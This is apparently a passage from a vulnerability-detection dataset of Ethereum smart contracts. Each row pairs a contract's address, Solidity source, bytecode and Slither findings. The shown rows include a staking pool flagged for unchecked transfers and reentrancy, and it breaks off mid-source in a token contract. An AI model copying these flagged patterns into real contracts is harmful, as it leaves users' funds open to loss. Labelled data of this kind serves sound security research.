0a900460ff16151561060f57600080fd5b6003805475ff000000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600554600090600160a060020a0316331461067357600080fd5b60035460a060020a900460ff161561068a57600080fd5b600454600154670de0b6b3a764000093909302926106ae908463ffffffff610c0f16565b11156106b957600080fd5b6105368383610c22565b6106cd3382610d1a565b50565b600354600160a060020a031633146106e757600080fd5b6005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60035460a860020a900460ff1681565b60035460009060a860020a900460ff161561074057600080fd5b6105368383610e09565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461077c57600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600090600160a060020a031633146107ed57600080fd5b60035460a060020a900460ff161561080457600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600554600160a060020a031681565b600354600160a060020a0316331461087d57600080fd5b60035460a860020a900460ff161561089457600080fd5b6003805475ff000000000000000000000000000000000000000000191660a860020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600581527f4455434154000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a860020a900460ff161561094457600080fd5b6105368383610ef9565b60035460009060a860020a900460ff161561096857600080fd5b6105368383610fc8565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a031633146109b457600080fd5b600160a060020a03811615156109c957600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b600082821115610aa457fe5b50900390565b6000600160a060020a0383161515610ac157600080fd5b600160a060020a038416600090815260208190526040902054821115610ae657600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610b1657600080fd5b600160a060020a038416600090815260208190526040902054610b3f908363ffffffff610a9816565b600160a060020a038086166000908152602081905260408082209390935590851681522054610b74908363ffffffff610c0f16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610bb6908363ffffffff610a9816565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020611062833981519152929181900390910190a35060019392505050565b81810182811015610c1c57fe5b92915050565b600354600090600160a060020a03163314610c3c57600080fd5b60035460a060020a900460ff1615610c5357600080fd5b600154610c66908363ffffffff610c0f16565b600155600160a060020a038316600090815260208190526040902054610c92908363ffffffff610c0f16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206110628339815191529181900360200190a350600192915050565b600160a060020a038216600090815260208190526040902054811115610d3f57600080fd5b600160a060020a038216600090815260208190526040902054610d68908263ffffffff610a9816565b600160a060020a038316600090815260208190526040902055600154610d94908263ffffffff610a9816565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516916000805160206110628339815191529181900360200190a35050565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115610e5e57336000908152600260209081526040808320600160a060020a0388168452909152812055610e93565b610e6e818463ffffffff610a9816565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a0383161515610f1057600080fd5b33600090815260208190526040902054821115610f2c57600080fd5b33600090815260208190526040902054610f4c908363ffffffff610a9816565b3360009081526020819052604080822092909255600160a060020a03851681522054610f7e908363ffffffff610c0f16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233926000805160206110628339815191529281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610ffc908363ffffffff610c0f16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a3506001929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582097293d18e17429dc5db5919835ed56eefc0f48179e1369551f08253b24826ad10029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,178 |
0x6c78e04b797cd4449b85999e338a4d52f27adce3 | /**
*Submitted for verification at Etherscan.io on 2021-06-01
*/
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
admin = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract SAMMYpool is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// token contract address
address public tokenAddress;
// reward rate % per year
uint public rewardRate = 5500;
uint public rewardInterval = 365 days;
// staking fee percent
uint public stakingFeeRate = 0;
// unstaking fee percent
uint public unstakingFeeRate = 0;
// unstaking possible Time
uint public PossibleUnstakeTime = 24 hours;
uint public totalClaimedRewards = 0;
uint private FundedTokens;
bool public stakingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
/*=============================ADMINISTRATIVE FUNCTIONS ==================================*/
function setTokenAddresses(address _tokenAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0), "Invalid address format is not supported");
tokenAddress = _tokenAddr;
}
function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){
stakingFeeRate = _stakingFeeRate;
unstakingFeeRate = _unstakingFeeRate;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
FundedTokens = _poolreward;
}
function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){
PossibleUnstakeTime = _possibleUnstakeTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowStaking(bool _status) public onlyOwner returns(bool){
require(tokenAddress != address(0), "Interracting token address is not yet configured");
stakingStatus = _status;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function farm(uint amountToStake) public {
require(stakingStatus == true, "Staking is not yet initialized");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(tokenAddress).transfer(admin, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function unfarm(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(tokenAddress).transfer(admin, fee), "Could not transfer withdraw fee.");
require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function harvest() public {
updateAccount(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= FundedTokens) {
return 0;
}
uint remaining = FundedTokens.sub(totalClaimedRewards);
return remaining;
}
} | 0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80636654ffdf116100f9578063d578ceab11610097578063f2fde38b11610071578063f2fde38b1461042a578063f3073ee714610450578063f3f91fa01461046f578063f851a44014610495576101c4565b8063d578ceab14610412578063d816c7d51461041a578063f1587ea114610422576101c4565b80639d76ea58116100d35780639d76ea58146103a3578063bec4de3f146103c7578063c0a6d78b146103cf578063c326bf4f146103ec576101c4565b80636654ffdf1461035d5780636a395ccb146103655780637b0a47ee1461039b576101c4565b8063455ab53c11610166578063538a85a111610140578063538a85a1146102ec578063583d42fd146103095780635ef057be1461032f5780636270cd1814610337576101c4565b8063455ab53c146102bf5780634641257d146102c75780634908e386146102cf576101c4565b80631e94723f116101a25780631e94723f1461023f578063308feec31461027757806337c5785a1461027f57806338443177146102a2576101c4565b8063069ca4d0146101c95780630d2adb90146101fa5780631c885bae14610220575b600080fd5b6101e6600480360360208110156101df57600080fd5b503561049d565b604080519115158252519081900360200190f35b6101e66004803603602081101561021057600080fd5b50356001600160a01b03166104be565b61023d6004803603602081101561023657600080fd5b503561053f565b005b6102656004803603602081101561025557600080fd5b50356001600160a01b031661084a565b60408051918252519081900360200190f35b6102656108fd565b6101e66004803603604081101561029557600080fd5b508035906020013561090f565b6101e6600480360360208110156102b857600080fd5b5035610933565b6101e6610954565b61023d61095d565b6101e6600480360360208110156102e557600080fd5b5035610968565b61023d6004803603602081101561030257600080fd5b5035610989565b6102656004803603602081101561031f57600080fd5b50356001600160a01b0316610c7e565b610265610c90565b6102656004803603602081101561034d57600080fd5b50356001600160a01b0316610c96565b610265610ca8565b61023d6004803603606081101561037b57600080fd5b506001600160a01b03813581169160208101359091169060400135610cae565b610265610d88565b6103ab610d8e565b604080516001600160a01b039092168252519081900360200190f35b610265610d9d565b6101e6600480360360208110156103e557600080fd5b5035610da3565b6102656004803603602081101561040257600080fd5b50356001600160a01b0316610dc4565b610265610dd6565b610265610ddc565b610265610de2565b61023d6004803603602081101561044057600080fd5b50356001600160a01b0316610e16565b6101e66004803603602081101561046657600080fd5b50351515610e9b565b6102656004803603602081101561048557600080fd5b50356001600160a01b0316610f0f565b6103ab610f21565b600080546001600160a01b031633146104b557600080fd5b60039190915590565b600080546001600160a01b031633146104d657600080fd5b6001600160a01b03821661051b5760405162461bcd60e51b81526004018080602001828103825260278152602001806112d86027913960400191505060405180910390fd5b600180546001600160a01b0319166001600160a01b03939093169290921790915590565b336000908152600c60205260409020548111156105a3576040805162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616d6f756e7420746f207769746864726177000000000000604482015290519081900360640190fd5b600654336000908152600d60205260409020546105c1904290610f30565b116105fd5760405162461bcd60e51b815260040180806020018281038252603b81526020018061129d603b913960400191505060405180910390fd5b61060633610f47565b6000610629612710610623600554856110db90919063ffffffff16565b90611102565b905060006106378383610f30565b600154600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561069357600080fd5b505af11580156106a7573d6000803e3d6000fd5b505050506040513d60208110156106bd57600080fd5b5051610710576040805162461bcd60e51b815260206004820181905260248201527f436f756c64206e6f74207472616e73666572207769746864726177206665652e604482015290519081900360640190fd5b6001546040805163a9059cbb60e01b81523360048201526024810184905290516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b15801561076457600080fd5b505af1158015610778573d6000803e3d6000fd5b505050506040513d602081101561078e57600080fd5b50516107e1576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b336000908152600c60205260409020546107fb9084610f30565b336000818152600c602052604090209190915561081a90600a90611117565b80156108335750336000908152600c6020526040902054155b1561084557610843600a3361112c565b505b505050565b6000610857600a83611117565b610863575060006108f8565b6001600160a01b0382166000908152600c6020526040902054610888575060006108f8565b6001600160a01b0382166000908152600e60205260408120546108ac904290610f30565b6001600160a01b0384166000908152600c602052604081205460035460025493945090926108f291612710916106239190829088906108ec9089906110db565b906110db565b93505050505b919050565b6000610909600a611141565b90505b90565b600080546001600160a01b0316331461092757600080fd5b60049290925560055590565b600080546001600160a01b0316331461094b57600080fd5b60089190915590565b60095460ff1681565b61096633610f47565b565b600080546001600160a01b0316331461098057600080fd5b60029190915590565b60095460ff1615156001146109e5576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973206e6f742079657420696e697469616c697a65640000604482015290519081900360640190fd5b60008111610a3a576040805162461bcd60e51b815260206004820152601760248201527f43616e6e6f74206465706f736974203020546f6b656e73000000000000000000604482015290519081900360640190fd5b600154604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b158015610a9457600080fd5b505af1158015610aa8573d6000803e3d6000fd5b505050506040513d6020811015610abe57600080fd5b5051610b11576040805162461bcd60e51b815260206004820152601c60248201527f496e73756666696369656e7420546f6b656e20416c6c6f77616e636500000000604482015290519081900360640190fd5b610b1a33610f47565b6000610b37612710610623600454856110db90919063ffffffff16565b90506000610b458383610f30565b600154600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101889052905194955092169263a9059cbb926044808201936020939283900390910190829087803b158015610ba157600080fd5b505af1158015610bb5573d6000803e3d6000fd5b505050506040513d6020811015610bcb57600080fd5b5051610c1e576040805162461bcd60e51b815260206004820152601f60248201527f436f756c64206e6f74207472616e73666572206465706f736974206665652e00604482015290519081900360640190fd5b336000908152600c6020526040902054610c38908261114c565b336000818152600c6020526040902091909155610c5790600a90611117565b61084557610c66600a3361115b565b50336000908152600d60205260409020429055505050565b600d6020526000908152604090205481565b60045481565b600f6020526000908152604090205481565b60065481565b6000546001600160a01b03163314610cc557600080fd5b6001546001600160a01b0384811691161415610d0057610ce3610de2565b811115610cef57600080fd5b600754610cfc908261114c565b6007555b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610d5757600080fd5b505af1158015610d6b573d6000803e3d6000fd5b505050506040513d6020811015610d8157600080fd5b5050505050565b60025481565b6001546001600160a01b031681565b60035481565b600080546001600160a01b03163314610dbb57600080fd5b60069190915590565b600c6020526000908152604090205481565b60075481565b60055481565b600060085460075410610df75750600061090c565b6000610e10600754600854610f3090919063ffffffff16565b91505090565b6000546001600160a01b03163314610e2d57600080fd5b6001600160a01b038116610e4057600080fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080546001600160a01b03163314610eb357600080fd5b6001546001600160a01b0316610efa5760405162461bcd60e51b81526004018080602001828103825260308152602001806112ff6030913960400191505060405180910390fd5b6009805460ff19169215159290921790915590565b600e6020526000908152604090205481565b6000546001600160a01b031681565b600082821115610f3c57fe5b508082035b92915050565b6000610f528261084a565b905080156110be576001546040805163a9059cbb60e01b81526001600160a01b038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610fb057600080fd5b505af1158015610fc4573d6000803e3d6000fd5b505050506040513d6020811015610fda57600080fd5b505161102d576040805162461bcd60e51b815260206004820152601a60248201527f436f756c64206e6f74207472616e7366657220746f6b656e732e000000000000604482015290519081900360640190fd5b6001600160a01b0382166000908152600f6020526040902054611050908261114c565b6001600160a01b0383166000908152600f6020526040902055600754611076908261114c565b600755604080516001600160a01b03841681526020810183905281517f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf130929181900390910190a15b506001600160a01b03166000908152600e60205260409020429055565b60008282028315806110f55750828482816110f257fe5b04145b6110fb57fe5b9392505050565b60008082848161110e57fe5b04949350505050565b60006110fb836001600160a01b038416611170565b60006110fb836001600160a01b038416611188565b6000610f418261124e565b6000828201838110156110fb57fe5b60006110fb836001600160a01b038416611252565b60009081526001919091016020526040902054151590565b6000818152600183016020526040812054801561124457835460001980830191908101906000908790839081106111bb57fe5b90600052602060002001549050808760000184815481106111d857fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061120857fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610f41565b6000915050610f41565b5490565b600061125e8383611170565b61129457508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610f41565b506000610f4156fe596f752068617665206e6f74207374616b656420666f722061207768696c65207965742c206b696e646c792077616974206120626974206d6f7265496e76616c6964206164647265737320666f726d6174206973206e6f7420737570706f72746564496e74657272616374696e6720746f6b656e2061646472657373206973206e6f742079657420636f6e66696775726564a2646970667358221220cf9603407331b20645f2cedccb1d9fce02af8301aec18ea769014cd859b97f3e64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,179 |
0x5552E5a89A70cB2eF5AdBbC45a6BE442fE7160Ec | /**
*Submitted for verification at Etherscan.io on 2022-02-23
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
address constant private multiSigWallet = address(0x93837577c98E01CFde883c23F64a0f608A70B90F);
constructor () {
_owner = multiSigWallet;
emit OwnershipTransferred(address(0), multiSigWallet);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwnership(address _address) external onlyOwner notLocked(Functions.changeOwnership){
emit OwnershipTransferred(_owner, _address);
_owner = _address;
timelock[Functions.changeOwnership] = 0;
}
enum Functions {changeOwnership,changeMarketWallet,pause }
mapping(Functions => uint256) public timelock;
modifier notLocked(Functions _func) {
require(
timelock[_func] != 0 && timelock[_func] <= block.timestamp,
"Function is timelocked"
);
_;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Kawakami is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant _tTotal = 9.99999999999e20; //999,999,999,999.000000000
uint256 private constant maxWallet = _tTotal/50;
uint256 private buyTax = 5;
uint256 private constant sellTax = 9;
uint256 private tax = 0;
uint256 private tradingEnableTime;
uint256 private constant _TIMELOCK = 2 days;
address payable private marketingWallet;
address payable private devWallet;
string private constant _name = "Kawakami";
string private constant _symbol = "KAWA";
uint8 private constant _decimals = 9;
bool private inSwap = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private paused;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
function unlockFunction(Functions _func) external onlyOwner {
require(timelock[_func] == 0);
timelock[_func] = block.timestamp + _TIMELOCK;
}
function lockFunction(Functions _func) external onlyOwner {
timelock[_func] = 0;
}
constructor (address payable _add1, address payable _add2) {
require(_add1 != address(0),"Marketing Wallet can not be zero");
require(_add2 != address(0),"Marketing Wallet can not be zero");
marketingWallet = _add1;
devWallet = _add2;
balance[owner()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingWallet] = true;
emit Transfer(address(0),owner(), _tTotal);
}
function name() external pure returns (string memory) {
return _name;
}
function symbol() external pure returns (string memory) {
return _symbol;
}
function decimals() external pure returns (uint8) {
return _decimals;
}
function totalSupply() external pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return balance[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address holder, address spender) external view override returns (uint256) {
return _allowances[holder][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function isWhitelisted(address _addr) external view returns(bool){
return _isExcludedFromFee[_addr];
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address holder, address spender, uint256 amount) private {
require(holder != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[holder][spender] = amount;
emit Approval(holder, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
